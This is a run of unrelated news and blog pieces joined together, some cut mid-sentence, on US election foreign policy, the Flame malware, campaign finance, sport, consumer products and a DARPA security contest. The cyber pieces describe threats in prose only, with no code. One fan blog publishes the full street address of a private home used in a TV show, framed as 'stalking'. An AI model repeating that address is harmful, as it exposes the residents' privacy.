In the first place advisers close to both of them tend to emphasise that some of the more controversial policies they have advocated - such as Donald Trump's suggestion he will renegotiate the North America Free Trade Agreement, or Hillary Clinton's that she backed a no-fly zone in Syria - are actually less radical than they appear and would involve "more of the same" rather than dramatic change.
While Republicans lambast President Barack Obama for "abandoning" global leadership, and some suggest Hillary Clinton would be more interventionist, in truth whoever is elected will seek to avoid any repetition of what happened in Iraq and Afghanistan.
These were hugely expensive, enduring military commitments that many Americans feel they can ill afford now.
"The United States is going through an interesting period here," Leon Panetta, the former Defence Secretary and Director of Central Intelligence told the BBC, "and there's no question that there is a certain exhaustion about having confronted all of these challenges during that period and the price we paid. It's reflected not just in the Democratic party but in the Republican party as well."
'Trump the person'
On free trade also it may be that the choice between Clinton and Trump is not quite as radical as it first appears.
While Mrs Clinton is an ardent advocate of free trade deals, the left of her party has joined the Republicans in arguing that a new treaty signed earlier this year (the Trans-Pacific Partnership) should not be ratified and questioned the need also for a future pact with Europe.
"Separate the bill of particulars from Trump the person," says Danielle Pletka of the American Enterprise Institute about free trade, burden sharing among Nato allies or military cuts, "and the reality is, these complaints make sense, and Congress has the constitutional and political power to do something about it."
The likelihood that neither candidate could obtain a clean sweep, winning the White House, Senate and House of Representatives, means they are likely to be limited in their ability to deliver much of their platform.
Image copyright Getty Images Image caption Will American policy in the Middle East change?
If, as polls suggest is likely, Mrs Clinton wins the presidency but the Republicans retain the majority in the House, then many predict partisan fighting and gridlock even more bitter than that which has characterised President Obama's second term.
So it's quite likely that either presidential candidate's trade policy could get stymied in Congress.
Talking about Mr Trump's platform on trade to Carlos Gimenez, the Republican mayor of Miami, a city highly dependent on foreign commerce, he said to me: "The good thing about America is that we don't have kings… we have a division of power", noting that Florida's US senators and representatives would protect its interests in Washington.
As for suggestions from the stump by his party's nominee that the US might raise tariffs on some cheap foreign goods or products where American jobs had been outsourced abroad, Mr Gimenez said that erecting such barriers "really doesn't work", adding, "we do need free trade".
That, though, is a viewpoint from a particularly cosmopolitan city and what does seem to be happening, as a long-term trend, is that the US is growing less interested in its global leadership role, as well as in advancing free trade deals, while growing more preoccupied with its domestic policies and divisions.
Domestic constraints
Mr Panetta told us of his concerns about the US rowing back from its global leadership.
"The United States hoped that others would step up to the plate," he said, referring to the Obama years, but "it didn't happen, and our national security became challenged as a result of that.
"That's something the American people now understand that if the United States does not provide that leadership unfortunately no-one else will."
Image copyright Getty Images Image caption Leon Panetta is concerned America has stepped back from global leadership
While Mr Panetta and much of the Washington foreign policy establishment would see Ms Clinton as a far better bet, in terms of exerting a positive role in world affairs, her freedom of action will be limited by new great power realities as well as domestic political constraints.
In recent months Russia has filled the void in Syria, while bolstering ties with a host of other Middle East states.
China, too, is not only catching up fast with the US economically, but is preparing diplomatically and militarily to shut America out of sensitive regions like the South China Sea.
This sense that the US may be slipping in the world of power politics has prompted Mr Trump to suggest higher defence spending and tougher trade policies towards China.
The two candidates present a curious paradox here - with him proposing to spend more on a military he would use less, while Mrs Clinton suggests a more active role for forces continuing to run down under the current administration's plans.
Neither candidate, though, can address frankly the relative change in the international order that results from countries like China or Russia spending heavily on their forces and having a greater will to use them.
Indeed a presidential election, full as it is of paeans to the country's greatness, may be the worst time to discuss the growing limits on its power in a world the foreign policy wonks describe as increasingly "multi-polar".
Seen that way, Mr Trump's insistence that he will not commit the country to more foreign wars, or the suggestion by Mrs Clinton's advisers that her Syria policy would not involve major escalation can be seen as a kind of continuity.
President Obama after all was proud, as he put it, to have brought US soldiers home from two wars and to have placed strict limits on America's involvement in Libya and Syria.
Mark Urban is diplomatic and defence editor for BBC Newsnight. You can follow him on Twitter and read more from him on his blog.
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Who will win? Play our game to make your callThe UN's International Telecommunications Union and Kaspersky Labs revealed today that it has discovered Flame, a new trojan rivaling Stuxnet. Codenamed "Worm.Win32.Flame," the malware is currently being researched and it is described as "one of the most complex threats ever discovered." It is believed to be active across thousands of computers in the Middle East, primarily in Iran and Israel, as well as on some machines in North Africa.
Researchers believe that the trojan's primary function is cyberespionage: once Flame infects a computer, it is equipped to record audio from connected or built-in microphones, monitor nearby Bluetooth devices, take screenshots, and save data from documents and emails. All of this data, apparently stolen as part of a targeted attack, is constantly sent up to command and control servers.
Flame "has no major similarities with Stuxnet" or its malware family member Duqu, and is believed to be created and controlled by a separate group. The newly-discovered worm does share some aspects with Stuxnet and Duqu, however. Most disappointingly, Flame takes advantage of the same printer spooling hole and autorun.inf infection methods exploited by Stuxnet. According to Kaspersky Lab's reports, it's believed that Flame achieves its initial infection from users who are victims of phishing attacks, and then once it has made it onto a computer it can be spread over local area networks or via USB flash drives with other |
up to the Citizens United decision in 2010, the Supreme Court has repeatedly found that attempts by Congress to restrict campaign finance violate the Constitution. In 2011, a bare majority of the Court found that a public-finance law that didn't suppress speech violated the First Amendment. Based on today's oral argument in McCutcheon v. Federal Election Commission, it is overwhelmingly likely that the Supreme Court will further restrict the ability of Congress to pass campaign-finance restrictions.
McCutcheon is a potentially new frontier in constitutional law because it involves campaign donations. In Buckley, the Court held that restrictions on campaign spending faced a high level of First Amendment scrutiny, but legislatures had more leeway to regulate campaign donations. Congress has limited both the size of individual donations (with $2,600 being the current maximum) and the aggregate amount of money that can be given during an election cycle. The questions the Court is considering in McCutcheon concern the latter. Congress permits a maximum aggregate donation of to $48,600 to federal candidates and $74,600 to political parties for each two-year election cycle. The challengers argue that the aggregate limits violate the First Amendment.
The argument against the aggregate limits is plausible on a superficial level. Buckley's logic for allowing Congress greater latitude to regulate donations is that they are much more likely to lead to quid pro quo corruption. "The legitimate public interest" in campaign-finance regulation, wrote Chief Justice Warren Burger, "is the elimination of the appearance and reality of corrupting influences." Most expenditures and modest donations did not represent possible corruption, but larger donations could. In this case, the challengers argue that while individual donation limits are potentially justified under Buckley, aggregate ones are not. A single large donation might be corrupting, but 40 donations of $2,600 are no more likely to lead to corruption than 18.
The argument, however, becomes much less persuasive when subjected to greater scrutiny. As Solicitor General Donald Verrilli Jr. noted, the challengers "are arguing that there can be no aggregate limit because the base contribution limits do all the work." Because of this, "that means that an individual can contribute every two years up to $3.6 million to candidates for a party, party national committees and state committee[s]." Removing the aggregate limits, in other words, is highly likely to lead to both the appearance and reality of corruption. As Charles Fried (who held Verrilli's position under the Reagan administration) explains, ending the aggregate limits would effectively render the individual limits useless.
In addition, Burger's framing of Congress's interest in regulating donations is excessively narrow. Prohibiting corruption is important, but for democracy to be meaningful the inequalities of the market cannot allow a select group of extremely wealthy individuals to dominate the political process. Justice Ruth Bader Ginsburg explained during the oral argument why donation limits are important to democratic equality:
"It has been argued that these limits promote expression, promote democratic participation, because what they require the candidate to do is, instead of concentrating fundraising on the super-affluent, the candidate would then have to try to raise money more broadly in the electorate. So that by having these limits you are promoting democratic participation, then the little people will count some, and you won't have the super-affluent as the speakers that will control the elections."
This is the most important justification for the limits on individual donations. And the concerns expressed by Justice Ginsburg aren't merely hypothetical. Social scientists have shown that politicians pay far more attention to the interests of the wealthy. This has contributed to making the United States unusually inegalitarian for an advanced democracy. Preventing Congress from modestly addressing this unequal influence requires much more compelling arguments than have been advanced by the challengers here.
Not surprisingly, the Court's conservatives were generally dismissive of such arguments. Scalia, responding to a similar argument, sarcastically argued that "I assume that a law that only prohibits the speech of 2 percent of the country is okay." But, of course, the aggregate limits to not "prohibit" speech among the 2 percent. Regulating (and not eliminating) donations hardly extinguishes political speech among the 2 percent; indeed, it leaves them with far more ability to influence the political process than the 98 percent. Chief Justice John Roberts did suggest a possible middle ground—as Adam Liptak observes, he "indicated that he was inclined to strike down overall limits on contributions to several candidates, but perhaps not separate overall limits on contributions to several political committees." Overall, the Republican majority on the Court made its hostility to aggregate donation limits unmistakable.
At a minimum, the Supreme Court is overwhelmingly likely to strike down aggregate campaign limits to candidates and may go further than that. This is good news for the small group of people who have prospered most during a period of mass unemployment. Whether it is good for American democracy is much less clear.Mayor Sylvester Turner pledged on Wednesday to release videos of the fatal police shooting of Alva Braziel.
In a bid to dispel what he called a false social media narrative spreading throughout Houston, Mayor Sylvester Turner on Wednesday pledged to release videos of the fatal shooting of Alva Braziel by city police on July 9.
“Let me be very clear: At 12:38 a.m. on that Saturday morning, Mr. Braziel was walking in the middle of the street,” Turner said at a hastily called City Hall news conference. “Mr. Braziel had a gun in his hand, and this was not an unarmed person. I know the video will speak for that.”
Turner said he had heard rumors that Braziel, 38, was unarmed and held his hands in the air when officers shot him multiple times as he stood in the middle of Cullen Boulevard. But he said video from police body cameras clearly shows a different story: Braziel holding a handgun and waving it at the officers while refusing their commands.A Mexican priest was stabbed in the neck while he was saying mass in Mexico City’s cathedral Monday evening.
Witnesses say it looked like the attacker’s intention was to slit his throat.
Father Miguel Angel Machorro remains in critical condition, a spokesman for the Archdiocese of Mexico said.
MEXICO'S CATHOLIC CHURCH CALLS FOR SEARCH FOR MISSING PRIEST
The attacker, who was caught as was trying to run away, identified himself as a U.S. national. Mexican authorities identified him as John René Rock Schild, 35. The man said he is an artist and refused to offer any information that could incriminate him, Mexico City prosecutors said.
At a news conference, a lawyer of the archdiocese, Armando Martínez, said they needed more information to draw any conclusions.
“We cannot talk about terrorism, we cannot talk about motives because we obviously have no significant facts,” he said.
MEXICO'S CATHOLIC CHURCH: WORK ON TRUMP WALL IS TREASON
The stabbing took place in front of dozens of worshipers at the Mexico City cathedral, Latin America's largest and a popular tourist draw on the landmark Zocalo square.
In a radio interview Tuesday morning, archdiocese spokesman Hugo Valdelomar provided some details of the attack.
"After celebrating mass at the high altar, Father Miguel came down [to the pews] to bless worshipers with holy water and when he turned to walk back to the altar, the man stops him and tries to slit his throat,” he said. “He grabbed his neck and tried to slit his throat."
ANOTHER PRIEST GOES MISSING IN NORTHERN MEXICO, CATHOLIC CHURCH DEMANDS ACTION
Valdemar said that Father Miguel sustained serious wounds near the jugular vein and the lung and was bleeding profusely.
“We almost lost him right there,” he said.
The spokesman said that the attacker showed extreme coldness and declared he was not a Muslim nor did he belong to any Islamic movement. He noted that when the man was arrested he reserved his right to testify — "that means that he is not so crazy either, shall we say," Valdelomar said.click to enlarge Photo by Ryan Deto
The Louisa Street steps in Oakland has a 'runnel' that allows for cyclists to easily move their bike up and down.
Pittsburgh has more than 700 publicly owned steps and if you have been paying attention to them, you know many are in bad shape. But city officials are trying to change that, and it appears they are on their way to receiving some help.Pittsburgh is a finalist in the third round of the City Accelerator contest run by the foundation coalitions Living Cities and the Citi Foundation. Once the winners are announced, the accelerator will work with three cities over an 18-month period “to advance innovative efforts that improve the lives of low-income people and help cities run more effectively.”“The steps are vital assets [and] they're one of Pittsburgh's most unique features,” wrote Alex Pazuchanics, a policy advisor for Mayor Bill Peduto in an email to. “Steps are essential to creating walkable communities in terrain like ours. They're true intergenerational assets.”Pazuchanics says the mayor’s office discovered the contest through chief of staff Kevin Acklin’s previous involvement with Living Cities, which brings together chiefs of staff from cities across the country to collaborate. He adds that when the mayor first took office, there was not even a list of all the city-owned assets, like steps.“We are getting much better about understanding the challenge and identifying and prioritizing the needs,” says Pazuchanics. “Now we need to explore the best option for how to pay for it.”Winners receive a limited amount of capital for their projects, but gain valuable techniques and training from some of the world’s largest public-private partnerships on how to develop funding mechanisms, according to Pazuchanics.“I think steps play a huge role in livability for our neighborhoods,” wrote Pazuchanics. “We're experiencing growth in our walkable communities because the world is coming around to a concept many Pittsburghers already knew — it is desirable to live in a dense, walkable neighborhood with transit and vibrant community assets.”The newly formed group PGH Walks couldn’t agree more. The pedestrian-advocacy group formed last fall in response to the deaths of cyclists Susan Hicks, and pedestrians Henry Walker and his wife, Carol Christine Williamson. All were struck by vehicles, and both incidents occurred within one week in October 2015. (Read’s coverage about the deaths and Pa.’s lack of enforcement for cyclists and pedestrian fatally struck by vehicles, here.)Adrienne Jouver of PGH Walks says the group wants to raise awareness of pedestrian issues and pedestrian rights. PGH Walks has given the City Accelerator project five stars, and Jouver says the plan is fantastic.“Just how the city is built, it is so hilly, the steps are really necessary, and I think that is an awesome project to address that issue,” says Jouver.Pittsburgh City Accelerator project has garnered the most positive comments of any finalist so far, and Pazuchanics says the decision on who moves on should be made sometime this week. If you want to weigh in on the city’s steps project, click here And if you want to take part in PGH Walks, the group is holding a winter walk tomorrow, Sat., Feb. 27. The group will meet at Caffe d’Amore, in Lawrenceville, at 10 a.m. Jouver says people are welcome to join the walk along the way, which will proceed down Butler Street, stop at the Kickback Pinball Cafe and finally end at Espresso a Mano.Nissan’s electric vehicles have been crowned best-in-class at the 2016 AutoVolt Awards. The 30kWh LEAF was named overall winner in the Small Electric category, whilst the e-NV200 light commercial van picked up the Van Electric accolade for the second year running.
AutoVolt
AutoVolt is the UK’s leading electric and hybrid consumer magazine. Its founder and editor, Jonathan Musk, works with established car reviewers, such as our motoring journalist, Tim Barnes-Clay, to produce news and reviews on electric/hybrid vehicles. The awards are the only ones in Britain to focus solely on battery-electric cars, hybrids, plug-in hybrids and hydrogen fuel cell vehicles.
Nissan LEAF 30kWh
The Nissan LEAF 30kWh was praised by the AutoVolt judging panel for the model’s recent updates, the price and real world availability, as well as dealer support.
e-NV200
The e-NV200 van received praise for its class-leading payload and drivability, relaxing yet responsive ride and practical interior.
Praise
Jonathan Musk, said, “There’s no question that the Nissan LEAF is the default electric car. Sales have exceeded rivals’ with good reason. Nissan’s brave and pioneering approach to electric cars is commendable and extends to their dealer network that, in my experience, has been both welcoming and knowledgeable. We have no trouble in recommending the LEAF to anyone who’s remotely interested in electric cars, as it is so easy to live with, dependable and good to drive.
“The e-NV200 looks like an ordinary van and it is, but it’s more fun to drive and, with the government’s plug-in van grant of 20 per cent up to £8,000, it makes real financial sense too.”
Delighted
Nissan Motor (GB) EV Category Manager, Ed Jones added; “We’re delighted that both our electric models have received this official recognition from the AutoVolt team. As the world’s best-selling 100% electric vehicle, it’s great to see the LEAF continuing to receive this kind of official recognition. Our electric LCV also continues to win new business customers with its all-round practicality and economic benefits.”
To read the latest AutoVolt, visit www.autovolt-magazine.com.Urawa Reds as good as wrapped up the J. League first-stage title but were forced to leave the champagne on ice after beating Shimizu S-Pulse 1-0 on Sunday.
Reds went into the game knowing that a win over lowly S-Pulse coupled with a defeat for second-place Gamba Osaka would see them clinch their first piece of silverware since winning the Asian Champions League title in 2007.
A 52nd-minute goal from Shinzo Koroki kept up Urawa’s side of the bargain, but a 0-0 draw between Gamba and Vissel Kobe forced the 44,424 crowd at Saitama Stadium to postpone their celebrations for another day.
Urawa’s first-stage victory now looks simply a formality, however, as a nine-point gap separates the leaders from Gamba. Defending champions Gamba are the only other team mathematically still in contention, but must win their remaining three games and hope that Reds lose their remaining two.
Urawa’s penchant for self-destruction — blowing a five-point lead with three games to play last season to hand the title to Gamba — means manager Mihailo Petrovic is taking nothing for granted. But the Serbian insists his team has learned from its mistakes.
“Today’s result was one born from experience. Last year we had a chance to clinch the title here against Gamba, and although we were the better team in that game, we lost,” Petrovic said of the 2-0 defeat that began Urawa’s downfall last season.
“Today we didn’t play so well, but the players knew that the most important thing was to win no matter what.”
The J. League has this season reverted to the two-stage system it last used in 2004, but with format tweaks that place more importance on overall points than winning the first or second stage.
Reds have now set an all-time J. League record in starting this season unbeaten over 15 games, and Koroki is keen to maintain the spirit that has seen his side collect 37 points from a possible 45.
“We aren’t always playing well, but the results are the most important thing,” said Koroki, who won three league titles with Kashima Antlers from 2007-09.
“In the past, if we had played badly we would have lost. The fact that we didn’t today proves our strength. I’ve won league titles before, and there are times over the season where you are in good and bad form. If you can pick up points when you’re playing badly, it’s very important.”
Urawa dominated the early stages but both sides created chances, with Tadanari Lee blasting a Yuki Muto cross over the S-Pulse bar before Reds goalkeeper Shusaku Nishikawa denied Mitchell Duke with a sharp save at the other end.
Lee narrowly failed to redirect a Muto shot into the net with halftime approaching, before Tomoaki Makino almost got the second period off with a bang when he ghosted in at the far post five minutes after the restart.
But minutes later, Koroki gave Urawa the lead. The striker dummied a defender to make space for himself after receiving the ball in the box, then lashed home a left-foot shot that slid beyond the reach of goalkeeper Masatoshi Kushibiki.
Koroki almost added another with a close-range snap shot in the 65th minute, but in the end one goal was enough as Urawa hung on despite late chances for the visitors.
“Our theme for this year is patience,” said Urawa midfielder Yosuke Kashiwagi. “You could see that from our performance in the second half.”
Elsewhere in the J. League, Sanfrecce Hiroshima jumped into second place but were eliminated from first-stage title contention despite a 3-2 win over Kashiwa Reysol.
FC Tokyo also leapfrogged Gamba into third after a 2-1 win over Matsumoto Yamaga, while Yokohama F. Marinos stayed fifth after a 1-1 draw with Ventforet Kofu.
Vegalta Sendai turned on the style to thrash Sagan Tosu 5-0, Elsinho hit a 94th-minute winner as Kawasaki Frontale beat Shonan Bellmare 2-1, and Montedio Yamagata and Kashima Antlers drew 2-2.
In the day’s other game, Albirex Niigata and Nagoya Grampus drew 1-1.From Team Fortress Wiki
“
— The Demoman on an idler who expected a hat Awww.... there's a new angel in heaven... IN HELL! ”
The Cheater's Lament is a cosmetic item for all classes. It is a faintly glowing golden halo, attached to the wearer's head by two slightly crooked wires.
This hat was awarded on September 2, 2009 to all players who had not used external idling programs, and had played at least once since the introduction of the item drop system. During the Mann-Conomy Update, the hat was distributed a second time for players who had not received it during the initial drop. This second distribution also (for whatever reason) included players who were excluded the first time for using external idling programs. There is much speculation surrounding its release; however, there has been no confirmation or announcement relating to the item from Valve at all.
Styles
Styles No Hat Hat
Bugs
Some eligible players have still not yet received a Cheater's Lament from the second distribution.
Notes
The hat description was written by AndyAML for the Hat Describing Contest.
When players viewed their backpacks after receiving the Cheater's Lament on September 2, 2009, the following message was displayed: "Congratulations! Your honesty has been rewarded with a new hat!" The message did not appear, however, when the item was awarded to the community during the Mann-Conomy Update.
Gallery
Scout
Soldier
Pyro
Demoman
Heavy
Engineer
Medic
Sniper
Spy
The message that appeared upon receiving the Cheater's Lament.
The message that appeared if external idle programs were used, and items were removed.
In-game screenshot
References[gallery columns="2" ids="21561,21562,21563,21564"] We got our first look at Bandai's D-Arts Ultimate Armor X earlier this week, and now its time for Sigma to strut his stuff. As a part of the Figuarts ZERO line, Sigma will be a non-poseable statue, a result of his sheer size and detail. In fact, this statue stands at 180mm tall (roughly seven inches). In other words, big.
Sigma will go on sale in Japan in September, and run for ¥5,775 (roughly $58 US). Like previous villain products, he is only available here for those who pre-order through the Premium Bandai website. In North America, however, it ought to be a different story. We'll keep you posted!
News Credit: Rockman Unity
UPDATE: Tamashii Nations has officially announced Figuarts ZERO Sigma for release in North America in September/October. They also confirm it will come with a specially made display stand.(AFP)
The Transportation Safety Administration has spent nearly $1 billion singling out for additional scrutiny airline passengers who agents believe are acting suspiciously, but a new report shows the practice is basically worthless.
An analysis of the Screening of Passengers by Observation Techniques, or SPOT program, by the General Accounting Office found that evidence does not support the use of behavioral indicators to identify passengers who may pose a security risk.
The report says 21 of the 25 indicators examined by behavior detection officers were considered to be subjective, and the TSA said it hoped to more clearly define those criteria.
The GAO has long argued that the program was unreliable, and its study broadly analyzed SPOT in 2011 and 2012 and summarized 400 studies over the past 60 years on the human ability to identify deceptive behavior.
“The human ability to accurately identify deceptive behavior based on behavioral indicators is the same as or slightly better than chance,” the report finds.
As a result, the GAO is recommending that both Congress and the White House deny funding for SPOT until the TSA can demonstrate that it works.
The report said the TSA had limited information to evaluate SPOT’s effectiveness because data had been collected unevenly throughout the course of the year, and airports had not collected enough data to form a sufficient sample size.
The TSA says it will be three years before it can begin to report on the program’s effectiveness.
[Image via Agence France-Presse]A few weeks back I received an email from a fellow stalker in the Nebraska area who had just recently started his very own filming locations blog entitled Movie Locations and More. This stalker’s name was Robert Patterson and I have to admit that when I first saw his email a red flag went up, as I thought he was some weirdo pretending to be the lead actor from the Twilight movies. LOL At the time I didn’t realize that the Twilight actor was actually named Robert PattINson, not PattERson. LOL LOL LOL Man, I can be such a blonde sometimes!!! Anyway, as it turns out, my new friend really is named Robert Patterson and he is not a weirdo at all. 🙂 He is actually quite an amazing stalker and recently tracked down two of the main homes featured on Modern Family, which just so happens to be one of my favorite new shows of the fall season. So, literally, as soon as he gave me the addresses to the houses, I ran right out to stalk them! Thank you, Robert!
The first Modern Family house that Robert managed to track down was the residence belonging to Phil (aka Ty Burrell) and Claire (aka Julie Bowen) Dunphy and their three children on the show. Because Robert knew that Modern Family was filmed at Fox Studios in Century City, he decided to begin his search for the houses featured on the series in the neighborhood surrounding the studio – which is always a smart move. And, sure enough, he found Claire and Phil’s house pretty much immediately. YAY! 🙂 Besides being featured weekly in the series’ opening credits...
and in set-up shots during the course of each episode...
... several scenes have also been filmed on location at the Dunphy home, such as was the case with the episode entitled “Fizbo” in which Claire and Phil host a massive birthday party for their son Luke in the house’s front yard.
As you can see in the above screen captures, though, an entirely different house was used in the filming of the pilot episode. The house featured in the pilot has an address number of 1057, while the house used in the rest of the series has an address number of 10336. The front door of the pilot house, which is flanked by window panes on either side, also does not match the front door of the house used in the rest of the series.
When I first pulled up to stalk the Dunphy house a couple of weeks ago, some neighbors just happened to be outside chatting, so I, of course, just had to strike up a conversation with them. 🙂 The neighbors were SUPER nice and did not think it was at all weird that I was stalking a home in their vicinity. They said they absolutely LOVE having Modern Family film on their street and that everyone involved with the show is extremely nice. LOVE IT! They also said that since I was such a big fan of the show, I should try to come back when an episode was being filmed so that I could watch. How nice is that? 🙂 So LOVE IT! And I am happy to report that Claire and Phil’s house looks EXACTLY the same in person as it does onscreen. 🙂
On a side note – At the very end of the episode entitled “The Bicycle Thief”, Phil and his son, Luke, are shown riding their bikes past a street sign for Dunleer Drive, which is the actual street where Claire and Phil’s house is located in real life. LOVE IT!
Big THANK YOU to Robert for finding this location! 🙂
Until next time, Happy Stalking! 🙂
Stalk It: Claire and Phil’s house from Modern Family is located at 10336 Dunleer Drive in the Cheviot Hills area of Los Angeles.We’ll be reporting from Philadelphia all week and live-blogging each night. Check out all our dispatches from the Democratic convention here.
There have been predictions that the 2016 election will be among the most negative in modern politics. Both candidates have high unfavorable ratings. And with the Democratic convention officially approving the party’s platform on Monday, we have another instance of attack-heavy politics: There are 32 mentions of Donald Trump in the Democratic platform. At first glance, this might not seem like such a big deal. After all, the Republicans’ convention featured chants about putting Hillary Clinton in jail. But the Democrats’ Trump-laden platform is unusual.
When a party has a president in the White House, the party platform has tended not to focus on the opposing party’s candidate. That’s changed a bit recently, and the 2016 Democratic platform solidifies that trend:
YEAR PARTY MENTIONS OF OPPONENT TOTAL WORDS 1952 D 0 8,878 1956 R 0 11,390 1960 R 0 10,680 1964 D 0 20,126 1968 D 0 16,791 1972 R 0 24,407 1976 R 1 20,463 1980 D 0 34,558 1984 R 54 27,383 1988 R 0 35,838 1992 R 0 28,531 1996 D 21 18,107 2000 D 5 24,220 2004 R 3 41,275 2008 R 0 23,585 2012 D 22 26,558 2016 D 32 26,058 Platforms of parties when they hold the White House Note: The Democratic candidate in 1984, Walter Mondale, was the vice president during Jimmy Carter’s presidency, and most of these references are to the “Carter-Mondale” administration. Source: The American Presidency Project
The number of Trump mentions is roughly in line with the number of times the Democratic platform mentioned Dwight Eisenhower in 1952, Richard Nixon in 1972 and George W. Bush in 2004, according to The American Presidency Project. But there’s a big difference — those platforms all came in years when Democrats were running against incumbent presidents. Here are the number of opponent mentions in platforms for out-of-power parties:
MENTIONS ELECTION PARTY OF OPPONENT OF OUTGOING PRESIDENT (IF DIFFERENT) TOTAL WORDS 1952 R 0 0 5,988 1956 D 31 — 12,839 1960 D 0 1 16,089 1964 R 0 — 8,740 1968 R 4 4 10,013 1972 D 51 — 24,407 1976 D 15 10 21,202 1980 R 125 — 34,558 1984 D 197 — 37,231 1988 D 0 0 4,838 1992 D 11 — 8,555 1996 R 153 — 27,817 2000 R 3 2 34,555 2004 D 39 — 17,751 2008 D 0 8 25,997 2012 R 10 — 30,563 2016 R 1 19 35,467 Platforms of parties when they don’t hold the White House Note: The 1964 Republican platform does mention “the administration” throughout, but that’s not counted here. All four mentions of the incumbent president in 1968, Lyndon B. Johnson, were in conjunction with the Democratic candidate, Hubert Humphrey.
In 1976, “opponent” refers to Gerald Ford and “outgoing president” to Richard Nixon. Source: The American Presidency Project
The average number of opponent mentions is about 38 for the party out of power, while it’s around eight for the party that controls the White House. For whatever reason, this is especially true for the party in power when it doesn’t have an incumbent president on the ticket. When there was a candidate running for a third term of party control — Nixon in 1960, George H.W. Bush in 1988, John McCain in 2008 — most of the party platforms didn’t mention the opponent (Gore mentioned George W. Bush a handful of times). Clinton deviates from that pattern.
It is, however, becoming more common for the party in power to mention the opposing candidate in its platform. This trend might reflect closer competition and tighter presidential election margins, or simply higher levels of polarization and incentive to provide “red meat” (or the less appetizing blue meat, I guess) to the base. Whatever the reason, when it comes to focusing on the opponent, this year’s platform is out of step with comparable years.
VIDEO: What would a woman president mean?Pogba: 'Nobody is like Juve'
By Football Italia staff
Paul Pogba reveals he turned down offers from “Chelsea, Arsenal and Milan, because nobody is like Juventus.”
The 20-year-old France international arrived on a free transfer when his contract with Manchester United expired and has quickly become a key figure in the Bianconeri midfield.
“Since childhood I’ve always liked Juve and supported that team,” he told Sky Sport Italia.
“For the French this club means a great deal, as so many French champions played in Turin, so that’s why I liked them.
“Sir Alex Ferguson tried to keep me at Manchester United, but he didn’t get very far. Were other clubs tracking me? Yes, but I only had Juve in my mind. At the time I heard from Chelsea, Arsenal and Milan, but nobody is like Juve.
“I am happy to be here and I want to win many trophies with this jersey.”DARPA, the advanced military research wing of the US government, issued a challenge to coders to develop software for the internet of things (IoT) that could heal itself and seal up any vulnerabilities.
In a world where cyberattacks are increasing at a phenomenal rate with little sign of abating, the fact that DARPA is operating a new cybersecurity challenge, called the Cyber Grand Challenge (CGC), is of no great surprise.
Based on this upcoming competition, DARPA is fixated on an IoT future where billions of connected devices are all talking amongst each other and, worryingly, able to transmit one vulnerability to another.
Computer vs computer showdown
Many in the cybersecurity field are wary that one mistake could have devastating repercussions in the home, smart cities or industry, and now DARPA is aiming to make IoT security completely autonomous.
Speaking with Yahoo, DARPA’s programme manager for CGS, Mike Walker, has called such competitions as a start to a technological revolution, particularly given his claim it takes the security researchers over 300 days on average to locate coding vulnerabilities.
Even then, it usually takes over three weeks before a vulnerability can be patched and, within that time, hackers aware of this back-door will gladly exploit it.
At the upcoming CGC event, the typical ‘capture the flag’ security competition – which asks researcher to locate and report a vulnerability as fast as possible – has been ramped up a gear.
Now, researchers are being asked to pit autonomous systems against one another to not only report proof that their systems were able to discover vulnerabilities, but also that they were able to patch them without any human interaction.
Considering the difficulty this will pose to researchers, there’s nearly $4m in prizes up for grabs to develop such a system and competitors will get access to advanced supercomputers capable of actually tackling such challenging tasks.
From discovery to patch in 30 seconds
Posing a future scenario where such an autonomous code exists, Walker said: “Imagine a hacker in the future sitting at a keyboard armed with an unknown flaw they just discovered. They connect to a computer, they break in, and then 30 seconds later their connection is cut. When they try to get into a computer using the same hack and it won’t work.”
Of course, with supercomputers being involved, the work that will be done at CGC is in its very earliest stages with commercial applications and use in the wider IoT world not be expected for some time.
But Walker has said it could have some other applications, particular in larger-scale business ventures.
“It’s difficult to think of this technology anywhere in the near-term on anything but a supercomputer,” he said. “It could be used in the cloud, because there is an enormous amount of computing power required.”
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Aston Villa boss Remi Garde has explained why Tiago Ilori's loan from Liverpool has been cut short.
Ilori has returned to Anfield just halfway through his season-long deal.
He has not played a single minute for Villa's first team since arriving in the summer.
The clubs are believed to have reached a compromise over the £1 million loan fee that Villa were due to play
Remi guarded over Remy
Remi Garde has refused to give an update on his pursuit of Chelsea striker Loic Remy - for fear of upsetting Guus Hiddink again.
Garde incurred the wrath of the Stamford Bridge interim coach by admitting his interest in the French forward last week.
Story here - http://www.birminghammail.co.uk/sport/football/transfer-news/aston-villa-transfer-news-remis-10698391
Haller hope
Utrecht striker Sebastien Haller is the latest name to be added to the list of players that are sai d to be attracting the attention of the Aston Villa scouts.
The £5m rated 21-year-old has scored 11 goals in 16 games this season and has raised a few eyebrows.
The French under-21 international joined Utrecht after scoring 11 in 17 for them while on loan from Auxerre last season.
Southampton, Bournemouth, Sunderland and Norwich are also keen.
Grealish race hots up
Aston Villa midfielder Jack Grealish is featuring heavily on messageboards and gossip columns on a daily basis.
The latest rumours suggest that West Ham, Spurs and Liverpool are now joining the race to sign him.
Talk of the 20-year-old leaving the club are picking up pace but it seems unlikely to us that Villa would be looking to cash in on the player despite the high-profile off the field issues earlier in the season.
To go one step further, Grealish could come into his own if Villa did get relegated.
It could be just the breeding ground his talent needs.
Odds Checker is offering 10/1 on Grealish moving to West Ham.
Claudio coming in?
Aston Villa have been linked with a £4m move for striker Claudio Beauvue.
The Lyon striker was wanted by West Ham in the summer but they lost out narrowly on his signature.
The 27-year-old scored 34 goals in 94 games for his previous club Guingamp.
Reports in France are that he is currently unsettled and would welcome a move.
Gardner set for Forest return
Aston Villa's Gary Gardner could be set for a return to Nottingham Forest on loan.
Reports in Nottingham claim the Championship club have agreed a deal for the midfielder until the end of the season, with the player said to be keen on making a return to the City Ground.
Gardner spent the second half of last season on loan at Forest, scoring four goals in 18 appearances.
The 23-year-old recently signed a new deal at Villa Park but has found his first team opportunities limited and has yet to feature this season.
Tiago Ilori's time at Aston Villa looks set to be almost over with Liverpool in discussions with Villa about ending Portuguese Ilori’s stay in the Midlands early with the player being named just once in a first team squad this season.
Tim Sherwood was the Aston Villa manager when Villa agreed to pay Liverpool £1m for Ilori’s services this year with an option to buy at the end of the year.
Ilori though has failed to make the breakthrough and new manager Remi Garde does not seem overly keen on the 22-year-old.
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poll loading Would you rather Villa spend £50m on five players or nothing at all? 500+ VOTES SO FAR Spend, spend, spend. We can still survive with the right acquisitions It's pointless, we're gone, and could lead to serious debt issues
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Choice of Latin Sandwich, 3 Jamones Panini or Fit or Sweet Sandwich, Fruit Salad, Ice Cream
